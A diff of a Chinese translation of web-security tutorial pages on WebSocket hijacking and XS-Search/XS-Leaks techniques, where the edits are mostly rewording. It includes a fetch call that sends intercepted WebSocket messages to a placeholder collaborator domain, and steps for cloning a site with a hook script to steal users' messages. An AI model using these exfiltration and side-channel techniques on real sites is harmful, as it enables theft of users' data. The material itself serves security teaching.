websocket = new WebSocket('wss://your-websocket-URL')
@ -109,7 +109,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
### 从用户那里窃取数据
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在 Websocket 通信发生的脚本中添加以下代码:
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加以下代码:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
@ -129,7 +129,7 @@ xhttp.send()
return messageEvent
}
```
现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存在包含网页文件的文件夹中**。\
现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存在网页文件夹内**。\
通过暴露网络应用程序并使用户连接到它,您将能够窃取通过 websocket 发送和接收的消息:
```javascript
sudo python3 -m http.server 80
@ -140,7 +140,7 @@ WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更
## 其他漏洞
由于 Web Sockets 是一种 **向服务器端和客户端发送数据** 的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可以被用来利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
由于 Web Sockets 是一种 **向服务器端和客户端发送数据** 的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可用于利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
## **WebSocket 走私**

View File

@ -10,7 +10,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
- **易受攻击的网页**:目标网站,信息旨在从中提取。
- **攻击者的网页**:攻击者创建的恶意网站,受害者访问,托管漏洞。
- **包含方法**用于将易受攻击的网页纳入攻击者网页的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
- **包含方法**:将易受攻击的网页纳入攻击者网页所采用的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
- **泄漏技术**:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
- **状态**:易受攻击网页的两种潜在条件,攻击者旨在区分。
- **可检测差异**:攻击者依赖于的可观察变化,以推断易受攻击网页的状态。
@ -19,9 +19,9 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
可以分析多个方面以区分易受攻击网页的状态:
- **状态码**:区分 **各种跨源 HTTP 响应状态码**,如服务器错误、客户端错误或身份验证错误。
- **状态码**:区分 **各种 HTTP 响应状态码** 跨源,如服务器错误、客户端错误或身份验证错误。
- **API 使用**:识别跨页面的 **Web API 使用情况**,揭示跨源页面是否使用特定的 JavaScript Web API。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框的数量** 或图像的大小差异。
- **HTTP 头**:注意 **特定 HTTP 响应头** 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
- **时间**:注意两个状态之间的一致时间差异。
@ -30,21 +30,21 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
- **HTML 元素**HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到此目的的潜在 HTML 元素的汇编。
- **框架**:如 **iframe**、**object** 和 **embed** 的元素可以将 HTML 资源直接嵌入攻击者的页面。如果页面 **缺乏框架保护**JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
- **弹出窗口****`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄**与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
- **弹出窗口****`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄**,以便与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
- **JavaScript 请求**JavaScript 允许使用 **XMLHttpRequests****Fetch API** 直接请求目标资源。这些方法提供对请求的精确控制,例如选择跟随 HTTP 重定向。
### 泄漏技术
- **事件处理程序**XS-Leaks 中的一种经典泄漏技术,其中事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **事件处理程序**XS-Leaks 中的经典泄漏技术,事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **错误消息**JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息,或通过区分其存在与否来提供信息。
- **全局限制**:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
- **全局状态**:可检测与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,能够推断请求的资源
- **全局状态**:可检测与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,使得对请求资源的推断成为可能
- **可读属性**:某些 HTML 属性是 **跨源可读的**,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
## XSinator 工具与论文
XSinator 是一个自动工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator 是一个自动工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
@ -53,9 +53,9 @@ XSinator 是一个自动工具,用于 **检查浏览器是否存在多种已
## **基于时间的技术**
以下一些技术将使用时间作为检测网页可能状态差异过程的一部分。测量时间在网页浏览器中有不同的方法。
以下一些技术将使用时间作为检测网页可能状态差异过程的一部分。测量时间在网页浏览器中有不同的方法。
**时钟** [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API 允许开发人员获取高分辨率的时间测量。\
**时钟** [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API 允许开发获取高分辨率的时间测量。\
攻击者可以滥用大量 API 来创建隐式时钟:[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSS 动画等。\
更多信息请参见:[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)。
@ -83,19 +83,19 @@ cookie-bomb-+-onerror-xs-leak.md
```
在这种情况下,如果 `example.com/404` 未找到,将加载 `attacker.com/?error`
### 加载时
### 加载时
- **包含方法**: HTML 元素
- **可检测差异**: 时机(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **总结:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** 可用于测量执行请求所需的时间。然而,也可以使用其他时钟,例如 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming),它可以识别运行超过 50 毫秒的任务。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 另一个示例在:
- **包含方法**HTML 元素
- **可检测差异**:时延(通常由于页面内容、状态码)
- **更多信息** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **总结** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** 可用于测量执行请求所需的时间。然而,也可以使用其他时钟,例如 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming),它可以识别运行超过 50 毫秒的任务。
- **代码示例** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 另一个示例在:
{{#ref}}
performance.now-example.md
{{#endref}}
#### 加载时 + 强制重任务
#### 加载时 + 强制重任务
此技术与前一种相似,但 **攻击者** 还将 **强制** 一些操作以花费 **相关的时间**,无论 **答案是正面还是负面**,并测量该时间。
@ -103,23 +103,23 @@ performance.now-example.md
performance.now-+-force-heavy-task.md
{{#endref}}
### 卸载/卸载前时
### 卸载/卸载前时
- **包含方法**: 框架
- **可检测差异**: 时机(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **总结:** [SharedArrayBuffer 时钟](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **包含方法**框架
- **可检测差异**:时延(通常由于页面内容、状态码)
- **更多信息** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **总结** [SharedArrayBuffer 时钟](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
获取资源所需的时间可以通过利用 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 和 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 事件来测量。**`beforeunload`** 事件在浏览器即将导航到新页面时触发,而 **`unload`** 事件在实际进行导航时发生。这两个事件之间的时间差可以计算出 **浏览器获取资源所花费的时间**
### 沙箱框架时 + 加载 <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
### 沙箱框架时 + 加载 <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **包含方法**: 框架
- **可检测差异**: 时机(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **总结:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **包含方法**框架
- **可检测差异**:时延(通常由于页面内容、状态码)
- **更多信息** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **总结** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
已观察到,在没有 [框架保护](https://xsleaks.dev/docs/defenses/opt-in/xfo/) 的情况下,攻击者可以测量页面及其子资源在网络上加载所需的时间。此测量通常是可能的,因为 iframe 的 `onload` 处理程序仅在资源加载和 JavaScript 执行完成后触发。为了绕过脚本执行引入的可变性,攻击者可能会在 `<iframe>` 中使用 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 属性。包含此属性会限制许多功能,特别是 JavaScript 的执行,从而促进主要受网络性能影响的测量。
```javascript
@ -131,28 +131,28 @@ performance.now-+-force-heavy-task.md
- **包含方法**: Frames
- **可检测差异**: 页面内容
- **更多信息**:
- **总结**: 如果可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么可以创建一个循环来提取所有信息,而无需测量时间。
- **总结**: 如果可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么可以创建一个循环来提取所有信息,而无需测量时间。
- **代码示例**:
假设可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
假设可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
您可以**让受害者搜索**包含“_**flag**_”的文件使用**Iframe**(例如利用 CSRF。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe****URL**,但仅更改 **URL****hash****内容**
你可以**让受害者搜索**包含 "_**flag**_" 的文件,使用一个**Iframe**(例如,利用 CSRF。在 Iframe 内,你知道 _**onload 事件**_ 将**至少执行一次**。然后,你可以**更改** **iframe** 的**URL**,但只更改**URL**中**hash**的**内容**
例如:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
如果第一个 URL **成功加载**,那么,当**更改** URL 的 **hash** 部分时,**onload** 事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**,那么,**onload** 事件将**再次触发**。
如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload**事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**,那么,**onload**事件将**再次触发**。
然后,可以**区分**一个**正确**加载的页面或访问时有**错误**的页面。
然后,可以**区分**一个**正确**加载的页面或访问时有**错误**的页面。
### Javascript 执行
- **包含方法**: Frames
- **可检测差异**: 页面内容
- **更多信息**:
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**,并在每次尝试中**加载****`<script>`** 标签,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**,并在每次尝试中加载**`<script>`**标签,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **代码示例**:
{{#ref}}
@ -177,18 +177,18 @@ javascript-execution-xs-leak.md
- **总结**: 从 id 或 name 属性泄露敏感数据。
- **代码示例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
可以**在一个 iframe 中加载一个页面**并使用 **`#id_value`** 使页面**聚焦于**指定的 iframe 元素,如果触发了 **`onblur`** 信号,则 ID 元素存在。\
您可以使用 **`portal`** 标签执行相同的攻击。
可以**在一个 iframe 中加载一个页面**并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素,如果触发了**`onblur`**信号,则 ID 元素存在。\
你可以使用**`portal`**标签执行相同的攻击。
### postMessage 广播 <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **包含方法**: Frames, Pop-ups
- **可检测差异**: API 使用
- **更多信息**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **总结**: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为一个神谕,以了解用户在页面上的状态
- **总结**: 从 postMessage 收集敏感信息,或使用 postMessages 的存在作为一个 oracle 来了解用户在页面上的状态
- **代码示例**: `任何监听所有 postMessages 的代码。`
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当一个**神谕**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而,如果 `targetOrigin` 参数未正确指定,这种方法可能会无意中暴露**敏感信息**,允许任何窗口接收消息。此外,接收消息的行为本身可以充当一个**oracle**;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示有关用户状态或身份的信息,例如他们是否经过身份验证。
## 全局限制技术
@ -200,9 +200,9 @@ javascript-execution-xs-leak.md
- **总结**: 耗尽 WebSocket 连接限制泄露跨源页面的 WebSocket 连接数量。
- **代码示例**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
可以识别目标页面使用了多少个**WebSocket 连接**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
可以识别目标页面使用的**WebSocket 连接数量**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
如果一个**源**使用**最大数量的 WebSocket** 连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后,在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
如果一个**源**使用**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后,在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
### 支付 API
@ -228,44 +228,44 @@ javascript-execution-xs-leak.md
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
> [!WARNING]
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载使用的资源。
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
### 忙碌事件循环 <a href="#busy-event-loop" id="busy-event-loop"></a>
- **包含方法**:
- **可检测差异**: 计时(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,可以提供对共享同一线程的其他操作的性能或行为的洞察。
- **代码示例**:
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的规避**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全特性,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
> [!WARNING]
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载使用的资源。
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
### 连接池
- **包含方法**: JavaScript 请求
- **可检测差异**: 计时(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **总结**: 攻击者可以锁定所有插座,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
- **总结**: 攻击者可以锁定所有套接字,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
- **代码示例**:
{{#ref}}
connection-pool-example.md
{{#endref}}
浏览器利用插座进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫施加限制**,限制并发插座的数量。攻击者可以通过以下步骤利用这一限制:
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫施加限制**,限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制:
1. 确定浏览器的插座限制例如256 个全局插座
2. 通过向不同主机发起 255 个请求,长时间占用 255 个插座,旨在保持连接开放而不完成。
3. 使用第 256 个插座向目标页面发送请求。
4. 尝试向不同主机发起第 257 个请求。由于所有插座都在使用中(根据步骤 2 和 3此请求将被排队直到插座可用。此请求进行之前的延迟为攻击者提供了与第 256 个插座(目标页面的插座)相关的网络活动的计时信息。这种推断是可能的,因为步骤 2 中的 255 个插座仍在使用,这意味着任何新可用的插座必须是从步骤 3 中释放的。第 256 个插座变得可用所需的时间因此直接与请求完成所需的时间相关联。
1. 确定浏览器的套接字限制例如256 个全局套接字
2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接开放而不完成。
3. 使用第 256 个套接字向目标页面发送请求。
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3此请求将被排队直到有套接字可用。此请求继续之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的计时信息。这一推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求目标页面完成所需的时间相关联。
有关更多信息: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
更多信息请参见: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### 按目标的连接池
@ -276,11 +276,11 @@ connection-pool-example.md
## 性能 API 技术
[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求计时成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等附加数据将变得可用。
[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求计时成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等额外数据将变得可用。
这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索提供全面的性能相关信息。此外API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于某些在 Chrome 等浏览器中的操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响计时测量的粒度。
这些丰富的数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索提供全面的性能相关信息。此外API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于某些在 Chrome 等浏览器中的操作,`performance.now()` 的精度可能限制在毫秒,这可能影响计时测量的粒度。
除了计时测量外,性能 API 还可以用于安全相关的洞察。例如Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言,如果由于 `X-Frame-Options` 而阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
除了计时测量外,性能 API 还可以用于安全相关的洞察。例如Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说,如果由于 `X-Frame-Options` 而阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
### 错误泄露
@ -297,10 +297,10 @@ connection-pool-example.md
- **包含方法**: HTML 元素
- **可检测差异**: 状态码
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **总结**: 由于浏览器错误,导致错误的请求被加载两次。
- **总结**: 由于浏览器错误,导致错误的请求被加载两次。
- **代码示例**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
在前一种技术中,还识别出浏览器 GC 中的两个案例,导致**资源在加载失败时被加载两次**。这将导致性能 API 中的多个条目,因此可以被检测到。
在前一种技术中,还识别出浏览器中的两个错误情况,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
### 请求合并错误
@ -310,7 +310,7 @@ connection-pool-example.md
- **总结**: 导致错误的请求无法合并。
- **代码示例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,您可以通过检查 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中的源代码找到它
该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,你可以在 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中检查源代码
### 空页面泄露
@ -320,17 +320,17 @@ connection-pool-example.md
- **总结**: 空响应不会创建资源计时条目。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
### **XSS-Auditor 泄露**
- **包含方法**: Frames
- **可检测差异**: 页面内容
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **总结**: 使用安全声明中的 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器的过滤机制时响应的变化来检测特定网页元素。
- **总结**: 在安全声明中使用 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器的过滤机制时响应的变化来检测特定网页元素。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
